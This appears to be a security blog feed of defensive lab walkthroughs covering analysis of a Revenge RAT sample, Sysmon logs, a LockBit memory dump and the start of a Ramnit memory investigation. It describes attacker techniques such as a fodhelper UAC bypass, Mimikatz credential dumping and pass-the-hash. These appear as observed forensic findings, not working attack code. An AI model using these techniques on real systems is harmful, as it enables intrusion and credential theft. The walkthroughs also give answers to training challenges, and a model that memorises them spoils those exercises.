IdGenerator" . Below are some of the methods the class uses to retrieve sensitive data:](https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/)

Now that we have some idea of what to look for, let’s verify if we see the same result within our sample. Expand all the namespaces to locate the IdGenerator class beneath Lime.Helper.

Here we’ll find several methods that appear to be collecting identifying data about the victim’s device — I’ll take a wild guess that GetCPU()is responsible for gathering information about the device’s CPU.

After a quick review, we can confirm the answer for Question 3. We’ll see that this function collects CPU information from the device’s Windows registry.

Question 4: What key was used during the " # "

SendInfo" function?

Now, let’s navigate to the SendInfo()method, also under Lime.Helper , and locate the references to the key variable. If we click it, we’ll be taken back to the Config class where we can see the string we’ll need to answer Question 4:

Question 5: What API was used by the malware to prevent the system from going to sleep?

From the previous questions, you may have already noticed another conveniently labeled class under Lime.Helper called PreventSleep. This sounds like exactly what we are looking for!

Once we click into the Run()method, we can see a call being made to the SetThreadExecutionStateAPI:

To confirm that this is correct, we’ll check the Microsoft Learn page for this function where it states:

Enables an application to inform the system that it is in use, thereby preventing the system from entering sleep or turning off the display while the application is running.

There we go! Thanks to the convenient labeling and some external research, we’ve confirmed that we found the answer to Question 5.

Question 6: What variable stores the volume name and the function that imported the " # "

GetVolumeInformationA" api?

To answer Question 6, we’ll need to search for a specific variable that stores the volume name retrieved by the GetVolumeInformationA API.

For some context, let’s turn back to Microsoft Learn, where it’s documented that this function “Retrieves information about the file system and volume associated with the specified root directory_.”

So, to find this reference in the sample, let’s simply leverage dnSpy’s search function and use the keyword GetVolumeInformationA. The search leads us to Lime.NativeMethods > Native > GVI.

While I’m no coding wizard, it appears that within the GVI method, the GetVolumeInformationA function is imported from kernel32.dll and called. Then, the volume data retrieved by this function is stored in the IP variable_._

Question 7: What function was used to retrieve information about installed video capture drivers?

For Question 7, we need to look for a function that collects information about the victim’s video capture (aka camera) drivers. For this, let’s circle back to the IdGenerator class under Lime.Helper where we found the answer to Question 3.

GetCamera()

There we’ll find a GetCamera() method. While this seems like a good match based on the name, let’s double-verify this again with Microsoft Learn which states that:

The capGetDriverDescription function retrieves the version description of the capture driver.

Question 8: What is the value of the ID after removing obfuscation?

We’ve made it to the last question! To answer Question 8, we’ll jump back to the Config class where already found the answers to Questions 2 & 4, this time focusing on the id string.

The question tells us that the value is obfuscated (likely in Base64), so we’ll need to decode it to find the answer. To do this, we’ll use CyberChef from Tools folder to perform some operations on the string. Just paste the value into the input box and add " # “From Base64"to the recipe:

Easily enough, we’ve decoded the string and have uncovered the answer to Question 8! Now let’s wrap up this analysis.

Conclusion:

Mission accomplished! Using Detect-It-Easy, we figured out that the malware binary was compiled with VB.NET and then discovered some external research about the RAT from Perception Point to add some context to the investigation. Then, we brought the malware sample into dnSpy to uncover details about the information it collects about a victim’s system and how these functions work from Microsoft Learn. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Revenge RAT!

A big thank you to LetsDefend, for yet another engaging and challenging lab! I tend to stumble through reverse engineering challenges since I do not have a coding background and even the terms can be confusing! Even so, I always try to push myself to learn about new things outside of my comfort zone by tackling unfamiliar topics. Fortunately, the power of research helped me understand the bigger picture of the malware, allowing me to analyze it more confidently. Overall, this lab was a great learning opportunity, especially getting some hands-on time with dnSpy and expanding my toolset. Practice makes perfect, after all!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Wikipedia (Visual Basic (.NET)): https://en.wikipedia.org/wiki/Visual_Basic_(.NET)

dnSpy: https://github.com/dnSpy/dnSpy

Perception-Point: https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/

Microsoft Learn — SetThreadExecutionState: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate

Microsoft Learn — GetVolumeInformationA: https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa

Microsoft Learn — capGetDriverDescriptionA: https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptiona

CyberChef: https://gchq.github.io/CyberChef/

LetsDefend — Log Analysis with Sysmon Walkthrough

Mon, 18 Nov 2024 00:00:00 +0000

LetsDefend — Log Analysis with Sysmon Walkthrough

An Endpoint Forensic Investigation with Sysmon, EvtxECmd, Timeline Explorer, and MITRE ATT&CK

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Log Analysis with Sysmon challenge from LetsDefend, you’re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR).

In this scenario, a victim’s device has been compromised with malware, and we need to investigate what happened to contain the threat. Our objective is to analyze the Sysmon event logs to determine how the attacker gained initial access, escalated privileges, evaded the system’s defenses, and what tools they used to do it.

Sysmon is a utility that is part of the Microsoft Sysinternals suite. It runs as a system service and monitors detailed system activity, like process creation, file creation, and network connections, and logs it to the Windows Event Log. Sysmon also has its own event types that can be used to filter specific activity in the logs.

To analyze the Sysmon logs, we’ll leverage Eric Zimmerman’s EvtxECMD and Timeline Explorer. Then, we’ll map the adversary’s techniques and software to MITRE ATT&CK, a global knowledge base of adversary tactics and techniques, to gain a comprehensive view of the attack.

Sounds like fun, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon

Challenge Scenario:

Our company has experienced a breach on one of its endpoints. Your task is to investigate the breach thoroughly by analyzing the Sysmon logs of the compromised endpoint to gather all necessary information regarding the attack.

Question 1: Which file gave access to the attacker?

Let’s kick off this challenge by extracting Sysmon_chall.zip. Inside of the archive, we’ll have two files: Sysmon.evtx and Sysmon.json.

The first file, Sysmon.evtx, is a Windows Event Log file that we can open and view in the Windows Event Viewer.

The second file, Sysmon.json, contains the same information as the first file, but in the JSON format so it can be imported into different data analytics tools for analysis.

For this investigation, we’ll start with Sysmon.evtx. Double-click it and it will open with the Windows Event Log Viewer as a saved log within our analysis environment.

But before we dive headfirst into the Event Logs, let’s back up a bit and get familiar with the Sysmon Events so we can analyze the logs more efficiently by filtering for the relevant event IDs. This is reference will be key to working through this investigation, so keep it handy:

Sysmon Events Reference:

Sysmon - Sysinternals _Monitors and reports key system activity via the Windows event log._learn.microsoft.com

Now, armed with some background knowledge, let’s jump into the Event Viewer and start hunting for the malicious file that gave the attacker access to the victim’s device. To narrow down the scope of our logs, let’s filter by Event ID 1: Process Creation and then sort descending order to look at the earliest event first.

Reviewing the processes, we stumble on the above event referencing unusual executable, IDM.exe. To investigate this process further, let’s use the Find button and analyze the other events referring to this executable.

To analyze the hits, switch over to the Details tab view, and after a couple of results, we’ll notice that first IDM.exe spawns a Windows Command Shell (cmd.exe) and then in the following event, a very suspicious command line…

These are enough red flags to determine that IDM.exe is the answer to Question 1. Let’s perform some further analysis on fodhelper.exe to better understand what the attacker is doing.

Question 2: What did the attacker use to bypass UAC? Mention the EXE.

Before we go too far, let’s give ourselves another option to analyze the Event Log. Sometimes, having a different view or method of analyzing data can be helpful to understand the relationships between processes.

Rather than manually searching the Event Viewer, we’re going to also parse the log using Eric Zimmerman’s EvtxECmd, export it to a CSV, then sort the results using another of his utilities, Timeline Explorer. This will allow us to search and filter the data more efficiently than manually browsing the Event Viewer.

Handily, both of the Eric Zimmerman utilities are already installed on the LetsDefend environment, so we simply need to open the Command Prompt as Administrator to launch the utility with the following syntax specifying the .evtx file and an output directory:

EvtxECmd.exe -f “C:\Users\LetsDefend\Desktop\ChallengeFile\Sysmon.evtx” –csv YOUR-OUTPUT-DIRECTORY

Once the output file is created, open it with Timeline Explorer. To start, we’ll replicate the method we used in Question 1 and filter by the ParentCommandLine (Payload Data6) column for IDM.exe:

This is a cleaner view of the information we found in the previous question, isn’t it?

Now, let’s take to Google for research to understand what fodhelper.exe is and if it can be used in an attack. For example, check out the research from Atomic Red Team about user account control (UAC) bypass techniques (MITRE ATT&CK — T1548.002) to see what we can discover.

From the research, we’ll see a couple of documented techniques abusing the Features on Demand Helper (fodhelper.exe) to bypass the UAC prompt. These techniques allow a threat actor to abuse the legitimate binary to execute a process as a privileged administrator without the user account control dialogue.

Atomic Test #3 — Bypass UAC using Fodhelper

Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, " # "

The operation completed successfully." will be shown twice and command prompt will be opened.

Atomic Test #4 — Bypass UAC using Fodhelper — PowerShell

PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.

Since we have discovered a documented method of abusing the fodhelper binary to bypass UAC that is also present on the infected device, we’ve found the answer to Question 2!

Question 3: What registry path and value was used by the above EXE to gain higher privileges? (path\value)

Let’s continue to build off the research that we found in the Atomic Red Team report and look at the listed commands used to exploit fodhelper.exe.

The techniques involve some registry modification. With that in mind, let’s filter the CSV file in Timeline Explorer by Event ID 13: RegistryEvent (Value Set) and then filter by IDM.exe.

Filter Event Id 13

Filter Payload Data3 by IDM.exe

If you’re more comfortable in the Event Viewer, here is the same event that we located in Timeline Explorer:

Pulling back to a high-level overview, let’s simply search Timeline Explorer for fodhelper.exe. This not only gives us a better view of the sequence of events and relationships between the processes but also to see the Registry Key accessed by fodhelper.exe.

Because the This Registry location matches the location documented in the Atomic Red Team report, we can confidently say that we found the answer to Question 3!

https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4—bypass-uac-using-fodhelper—powershell

Question 4: The attacker dropped a file. What is the file location?

Okay, let’s continue investigating within Timeline Explorer, this time, filtering on Event ID 11: File Create. According to the Sysmon documentation, this event captures file creation events and is " # “useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.“Once we have the Event ID filter, scroll over to the RuleName column and type Downloads. Applying these two options will show us the audited file creation events and filter on the term downloads, including the downloads directory.

Right away, we see a red flag — mimikatz.exe. If you aren’t familiar with Mimikatz, here is a quick summary from the MITRE ATT&CK knowledge base:

[” # "

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.](https://attack.mitre.org/software/S0002/)"

Let’s submit the flag and learn more about what techniques Mimikatz uses.

Question 5: What are the technique name and ID used by the dropped EXE?

To answer Question 5, we need to first answer the question: What is Mimikatz used for? In the previous question, I linked the description from MITRE ATT&CK, but let’s focus on one detail: Mimikatz is a credential dumper.

This description of the tool gives us the answer — the most applicable MITRE ATT&CK technique is Credential Dumping (MITRE ATT&CK — T1003.)

OS Credential Dumping _Active Directory Active Directory Object Access Monitor domain controller logs for replication requests and other…_attack.mitre.org

Question 6: What is the name of the attack?

We’ve already determined that Mimikatz is a credential dumper, but to answer Question 6, we need to figure out what the adversary did with the stolen credentials. Let’s jump back to the Mimikatz software page on MITRE ATT&CK to learn more about any techniques associated with it.

Mimikatz _Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many…_attack.mitre.org

We’ll focus on the Techniques Used section of the software page. Mimikatz has lots of listed capabilities but there is one it is infamous for facilitating. We can cheese this a little bit by looking at the answer format to narrow down the results, too.

Pass the Hash! This is a technique where an attacker can access and dump credential data, like NLTM hashes, from the Local Security Authority Subsystem Service (LSASS) process in Windows and then " # "

pass” the stolen hash instead of providing the password to authenticate as that user. This way, it’s possible to elevate privileges or move laterally through the target environment.

Question 7: What EXE did the attacker run using elevated privileges from the above attack?

Now back to Timeline Explorer! We’ll approach Question 7 by searching for Mimikatz to determine if it spawned any child processes, potentially using the Pass the Hash technique to elevate privileges of the child process.

Once we enter " # “mimikatz"into the search, we’ll stumble on something interesting — mimikatz.exe has spawned a powershell.exe process. Let’s examine the payload contents:

Timeline Explorer View

Event Viewer View

Notice the IntegrityLevel with the value of High? Because mimikatz.exe (PID 4988) is the parent process, this tells us that PowerShell was executed with elevated, administrative level privileges — We’ve found the answer to Question 6!

Question 8: The attacker downloaded and ran a file. What is the filename?

Okay, we’ve made it to the last question! Let’s hunt for the next file the attacker downloaded. For this, we’ll set up the same filters that we did for Question 4 — filtering on Event ID 11: File Create and entering Downloads in the RuleName column.

Right below the mimikatz.exe that we found earlier, we’ll see evidence of second executable that’s created:

012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe

This seems promising. Now, we need to determine if the attacker ran it to confirm that we have found the correct answer. To do this, let’s filter the Event ID column by Event ID 1 (Process Creation) in and then search for:

012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe

With the filtering in place, we can confirm that the attacker leveraged PowerShell to download this second stage payload and used the Start-Process cmdlet to execute it_._ Great job! Let’s submit the flag and wrap up this investigation!

Conclusion:

There we have it! Using the Sysmon logs, we’ve successfully identified the binaries used for initial access, defense evasion, credential access, privilege escalation, and the second-stage malware. During the investigation, we turned to MITRE ATT&CK to reveal more details about each of these techniques to better understand how the adversary was attacking the victim’s device. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the Log Analysis with Sysmon!

A big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a really fun challenge for me as I’ve never had the opportunity to leverage Sysmon in an investigation despite testing and deploying it fairly often. I chose this one to get some reps in with the logging it provides so that when I need it in the real world, I’ll have that practice. I also really appreciated that this investigation required some use of MITRE ATT&CK to add context to the answers; in addition to being needed to answer one of the questions. Personally, thinking in terms of TTPs helps me organize my thoughts during an investigation, so this was also really good practice. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

Microsoft Sysinternals: https://learn.microsoft.com/en-us/sysinternals/

Eric Zimmerman’s Tools (EvtxECMD & Timeline Explorer): https://ericzimmerman.github.io/#!index.md

Sysmon Events Reference: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events

Atomic Red Team — T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control: https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4—bypass-uac-using-fodhelper—powershell

MITRE ATT&CK — Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): https://attack.mitre.org/techniques/T1548/002/

MITRE ATT&CK — Mimikatz (S0002): https://attack.mitre.org/software/S0002/

MITRE ATT&CK — OS Credential Dumping (T1003): https://attack.mitre.org/techniques/T1003/

MITRE ATT&CK — Use Alternate Authentication Material: Pass the Hash (T1550.002): https://attack.mitre.org/techniques/T1550/002/

LetsDefend — LockBit Challenge Walkthrough

Mon, 11 Nov 2024 00:00:00 +0000

LetsDefend — LockBit Challenge Walkthrough

A Memory Forensic Investigation with Volatility3, Volatility2, and VirusTotal

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the LockBit Challenge from LetsDefend, you’re in the right place. Prepare to be thrown right into the world of digital forensics and incident response (DFIR).

A victim’s device has been compromised with ransomware and all their files have been encrypted — now the attacker is demanding payment! Our objective is to dissect a memory dump of the infected device, provide an analysis of the attack, and understand our options. To accomplish this mission, we’ll leverage Volatility3, Volatility2, and VirusTotal to hunt for the malware process, determine what ransomware family it’s part of, scour VirusTotal to detail its behavior, and uncover how the malware elevates privileges and stays persistent on the system.

Sounds like fun, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/lockbit

Challenge Scenario:

You are a Digital Forensics and Incident Response (DFIR) analyst tasked with investigating a ransomware attack that has affected a company’s system. The attack has resulted in file encryption, and the attackers are demanding payment for the decryption of the affected files. You have been given a memory dump of the affected system to analyze and provide answers to specific questions related to the attack.

Question 1: Can you determine the date and time that the device was infected with the malware? (UTC, format: YYYY-MM-DD hh:mm:ss)

Let’s kick off this investigation by extracting the ChallengeFile containing the memory dump of the victim’s system, Lockbit.vmem.

To analyze the contents of this file we’ll use Volatility, a popular memory forensics tool. There are a couple of versions of Volatility: Volatility 2.6 (the original, no longer in active development) and the latest, Volatility3 (in active development.) They are a little different but for this challenge, we’ll start with Volatility3 but (spoilers) we will also have to use Volatility2 to solve Question 4. Don’t worry, I’ll note which version to use since the commands will change, too.

Finally, before we dive into Volatility3, let’s get familiar with the command to show the Volatility3 manual pages. This is handy way to see what plugins are available for use:

vol -h

Now, let’s get started hunting for the malware process. To identify the malicious process, the first step is to understand what processes were running on the victim’s system during the incident when the dump was taken. We’ll accomplish this by leveraging Volatility’s [windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist) plugin to scan the image and list the running processes on the system using the syntax below:

vol -f Lockbit.vmem windows.pslist

Let’s go out on a limb and assume that the obvious one called mal.exe is the process we are looking for. From there, we just need to grab the timestamp from the CreateTime column to determine when the device was infected.

Question 2: What is the name of the ransomware family responsible for the attack?

To identify the ransomware family, we first need to obtain the file hash of the malware’s executable by first extracting the process from the memory dump. We can do this by using Volatility3’s [windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles) plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump, and the process ID (PID) of the mal.exe process we found in Question 1.

vol -f Lockbit.vmem -o windows.dumpfiles –pid 900

This will give us two separate output files: a .dat and a .img. I’ll put the results for both below, but for this example let’s run a SHA256 hash calculation on the extracted .img file right from the terminal. Then, we’ll submit the hashes to VirusTotal to check if there are any hits.

sha256sum file.0xfa801bfe5320.0xfa801c116990.ImageSectionObject.mal.exe.img

IMG File — VirusTotal Report: https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c

sha256sum file.0xfa801bfe5320.0xfa801bde2b10.DataSectionObject.mal.exe.dat

DAT File — VirusTotal Report: https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1

After receiving the report for the .img file, the sample has previously been analyzed by VirusTotal and is detected as malicious by most scanning engines on the platform. What we are most interested in is the Family labels tag where we’ll see that the malware is part of the Lockbit ransomware family.

Question 3: What file extension is appended to the encrypted files by the ransomware?

Let’s continue using the VirusTotal report to see what else we can learn about the malware_._ The next stop is to check the Behavior > File System Action tab.

In this area, we can check the Files Written by the malware to determine what extension it’s adding to the files it encrypts. For this sample, we can see that the ransomware appends the .lockbit extension to the encrypted files:

To confirm we see the same behavior, let’s jump back into Volatility3 and search the victim’s image for anything similar with the [windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin which can search for file objects. To make this easier, we can _grep".lockbit"to narrow down the results.

vol -f Lockbit.vmem windows.filescan | grep -i “.lockbit”

While this is just a small sampling of the files with this extension, it’s enough to confirm that we have found the correct answer to Question 3!

Question 4: What is the TLSH (Trend Micro Locality Sensitive Hash) of the ransomware?

To answer Question 4, we need to find the Trend Micro Locality Sensitive Hash (TLSH) of the ransomware binary. TLSH is not a term I’m familiar with, so let’s do some Google research. We’ll find that according to Trend Micro, a TLSH is:

a kind of fuzzy hashing that can be employed in machine learning extensions of whitelisting. TLSH can generate hash values which can then be analyzed for similarities. TLSH helps determine if the file is safe to be run on the system based on its similarity to known, legitimate files.

Put another way a TLSH can be used to detect similarities between objects in data even if the content is not identical. So similar pieces of malware would have similar a TLSH. But how do we determine the TLSH of the .img file we submitted to VirusTotal?

Handily_, VirusTotal_ already calculates the TLSH upon submission so we can simply refer back to the Details > Basic Properties tab on the VirusTotal report. Easy enough!

Or so I thought…

We’ve run into a problem: the TLSH reported from the two files (.img & .dat) that we dumped in Question 2 do not work to solve the question.

For some hindsight: Next, I tried dumping the process by using the [windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memdump) and [windows.dlllist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dlllist) plugins, and while I got some different SHA256 hashes to submit, none matched what the question was looking for. So, after stumbling around researching on Google, I finally found the following issue on the Volatility3 GitHub with this comment:

procdump produced files have different checksums from volatility 2 · Issue #160 ·… _It differs when you view the hash value of the same file. Is the procdump of ver 2 and 3 different? in this page’s…_github.com

This is because the volatility3 procdump plugin currently outputs files as if they had been dumped by volatility2 with --memory (ie, it’s dumping the memory image, not the reconstructed PE file)

Ah-ha! Since there are differences in how the process dump works between the two versions of Volatility. Let’s switch to Volatility2, dump the process again, and compare the output.

In Volatility2, we first must determine what OS image profile is needed — notice that we are using vol.py now on the analysis environment to launch Volatility2.

vol.py -f Lockbit.vmem imageinfo

Once we find the correct profile, let’s try dumping the mal.exe process again using the [procdump](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#procdump) plugin:

vol.py -f Lockbit.vmem –profile=Win7SP1x64 procdump –pid=900 –dump-dir=YOUR-OUTPUT-DIRECTORY

This time, Volatility2 dumps one reconstructed binary instead of the two separate .img and .dat files. Let’s submit the new file (executable.900.exe) to VirusTotal and see if this changes the resulting TLSH:

EXE File — VirusTotal Report: https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708

VirusTotal VirusTotalwww.virustotal.com

Bingo! By switching from Volatility3 to Volatility2 to run the process dump, we’ve located the correct VirusTotal report and corresponding TLSH!

Question 5: Which MITRE ATT&CK technique ID was used by the ransomware to perform privilege escalation?

Now that we have a new VirusTotal report to review, let’s analyze its behavior, focusing on the Behaviors > MITRE ATT&CK Tactics and Techniques section. We’re looking for privilege escalation techniques, so expand the privilege escalation header to see all the observed tactics and techniques used by the malware:

VirusTotal Behaviors > MITRE ATT&CK Tactics and Techniques

At this point in our analysis, we could be searching for any of the listed techniques to answer Question 5. To narrow it down further, check the next section, Malware Behavior Catalog Tree, focusing again on the Privilege Escalation behaviors.

VirusTotal Behaviors > Malware Behavior Catalog Tree

Comparing the two sections we do see some overlap in the listed techniques. Since the question is asking (and only has room for) the technique ID (T1543) and not the sub-technique, let’s check our work and see if we found the correct answer…

VirusTotal Behaviors > MITRE ATT&CK Tactics and Techniques > Create or Modify System Process (T1543)

Question 6: What is the SHA256 hash of the ransom note dropped by the malware?

Next, scroll down to the File system actions > Files Dropped section to see the observed file activity. We’re looking for anything dropped by the malware that resembles a ransom note. This will help identify the note’s name, which we can then search for in the memory dump using Volatility2. You’ll quickly notice that there are dozens of instances of a ransom note-y type files, Restore-My-Files.txt.

Dropped Files Summary from VirusTotal

In the same way that we handled Question 3, let’s jump back into Volatility2 and use the [filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin to search the file objects in the image for the ransom note. Again, we’ll use grep to filter the results matching the name of the ransom note:

vol.py -f Lockbit.vmem –profile=Win7SP1x64 filescan | grep -i “Restore”

Unfortunately, we don’t find anything that matches the string. So, let’s pivot to the [mftparser](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#mftparser) plugin to scan the Master File Table (MFT) for the artifact:

vol.py -f Lockbit.vmem –profile=Win7SP1x64 mftparser | grep “Restore”

While this looks more promising and confirms the activity on the victim’s device, we have no way of extracting the files to calculate the SHA256 hash that is needed to answer the question.

Returning to VirusTotal; this becomes a process of elimination using the pre-existing analysis results. Starting at the top of the dropped files list, expand the first entry, " # “Restore-My-Files.txt,“to reveal the available SHA256 hashes. Let’s try each hash to see if any work.

Luckily, the first " # "

dropped” ransom note in the list is the one we are looking for!

Question 7: What is the name of the registry key edited by the ransomware during the attack to apply persistence on the infected system?

Finally, let’s continue using the VirusTotal report and analyze the persistence mechanisms used by the malware. Looking at the _MITRE ATT&CK Tactics and Techniques s_ection again, we’ll find several observed techniques listed, but only one referencing the Windows Registry. This is a common persistence method where a threat actor might use a run key to execute an application when a user logs in (MITRE ATT&CK — T1547.001.)

Finding the relevant technique is a good start, but let’s see if VirusTotal can provide any more information about the created registry key. The next place to check is the Crowdsourced Sigma Rules section**.** These Sigma rules are open-source threat detection rules and can be extremely useful when applied to the VirusTotal analysis. For example, let’s open the rule hit for CurrentVersion Autorun Keys Modification:

The matching rule contains a TargetObject for the Autorun key modification. At the very end, we can see the very suspicious key object name — this could be what we’re looking for. Let’s double-confirm by scrolling down Registry Actions > Registry Keys Set section and see if this key appears again:

Since we’ve seen this key referenced twice and the location matches a known adversary technique, I think we’ve found our answer! Let’s submit the flag and wrap up our investigation!

Conclusion:

Mission accomplished! With the help of Volatility, we’ve successfully identified the malware process and found the file hash of the executable to determine its ransomware family. After that, we turned to VirusTotal to reveal more details about the malware including how it elevates privileges and stays persistent on the system. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the LockBit Challenge!

A big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a great learning opportunity because I hit a couple stumbling blocks particularly trying to uncover the TLSH of the malware binary. I was really interested in this question since I was unfamiliar with what a TLSH is and because the challenge didn’t specify any recommended tools, needing to pivot from Volatility3 to Volatility2 was an unexpected twist — I suspect this lab was designed with the older version in mind. But, this was a great example of the importance of staying flexible during an investigation — I’ve done a string of Volatility labs recently so I had gotten into a routine using Volatility3 and didn’t even consider choosing Volatility2 until a couple of hours of being stuck on that question — newer doesn’t always mean better and it’s a good reminder to check my own confirmation biases.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

VirusTotal (.img): https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c

VirusTotal (.dat): https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1

Trend Micro: Smart Whitelisting Using Locality Sensitive Hashing | Trend Micro (US)

Volatility GitHub Issues: https://github.com/volatilityfoundation/volatility3/issues/160

VirusTotal (executable.900.exe): https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708

MITRE ATT&CK — Create or Modify System Process (T1543): https://attack.mitre.org/techniques/T1543/

MITRE ATT&CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1547/001/

CyberDefenders — Ramnit Blue Team Lab Walkthrough

Mon, 04 Nov 2024 00:00:00 +0000

CyberDefenders— Ramnit Blue Team Lab Walkthrough

An Endpoint Forensic Investigation with Volatility 3 and VirusTotal

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/

Introduction:

Imagine this scenario: You’re a cybersecurity analyst, and suddenly, you receive an alert about suspicious process behavior from a user’s workstation. You’re handed a memory dump from the infected machine to investigate the incident, analyze the artifacts on the system, and discover the malware’s actions.

If this sounds like something you’re into, welcome to my weekly walkthrough, you’ve stumbled on the right blog! This week, we’re jumping into the Ramnit Lab from CyberDefenders.

For this challenge, we’ll dissect a memory dump of a device infected with malware performing suspicious operations on the victim’s system. Using Volatility 3 and VirusTotal, we’ll locate the malicious process, uncover its file path on the system, and learn about any IP addresses and domains the malware contacts. The goal is to gather a list of indicators of compromise (IOCs) to understand the malware’s behavior and prevent any further impact on the environment. Sounds like fun, right? Let’s get into it!

If you find this walkthrough is helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!

Thanks for reading along, hope it helps!

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/

Challenge Scenario:

Scenario:

Our intrusion detection system has alerted us to suspicious behavior on a workstation, pointing to a likely malware intrusion. A memory dump of this system has been taken for analysis. Your task is to analyze this dump, trace the malware’s actions, and report key findings. This analysis is critical in understanding the breach and preventing further compromise.

Tools:

Volatility 3

Setup the REMnux Analysis Environment & Extract the challenge file:

Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it’s important to be responsible and stay safe by performing malware analysis tasks in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.

To keep this write-up focused, I’m going to skip a step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: We need to identify the process responsible for this suspicious behavior. What is the name of the suspicious process?

Let’s kick off this investigation and start hunting for the suspicious process!

But before we dive into using Volatility, let’s quickly get familiar with the help documentation which is a handy way to see what plugins are available for use. We can bring up Volatility’s manual pages with the following command:

vol3 -h

Now, our first task is to understand what processes were running on the victim’s system when the memory dump was taken during the incident. We’ll accomplish this by leveraging Volatility’s [windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist) plugin to scan the image and list the running processes on the system using the syntax below:

vol3 -f memory.dmp windows.pslist

Analyzing the processes list, we need to identify the suspicious one. If the output seems overwhelming, don’t worry — it takes practice to sift through it. A great resource to understand normal Windows behavior is the Hunt Evil poster from the SANS Institute.

At first glance, everything seems normal for virtualized Windows system, doesn’t it? The exception is one process looks a little suspicious: a ChromeSetup.exe is running when the capture was taken. Since the intrusion detection system (IDS) alerted on suspected malware execution, let’s start by investigating this process and make a note of the process ID (PID) too, we’ll need it for the next question.

Question 2: To eradicate the malware, what is the exact file path of the process executable?

Awesome! Now that we have uncovered the malicious executable, let’s find out more about it by determining its file path on the victim’s device.

Back in Volatility, we’ll use the windows.cmdline plugin this time which allows us to view not only the process command line arguments but also the executable file path of the process.

To make it easier, let’s use grep to show us only the results with the process ID (PID) of ChromeSetup.exe. We’ll find this information in the pslist output from Question 1 in the far left column.

vol3 -f memory.dmp windows.cmdline | grep 4628

There we go! The executable is in the victim’s Downloads folder. It appears that the victim was searching for the Google Chrome browser, encountered a malicious link, and inadvertently downloaded and executed the malware on their system.

Question 3:

Identifying network connections is crucial for understanding the malware’s communication strategy. What is the IP address it attempted to connect to?

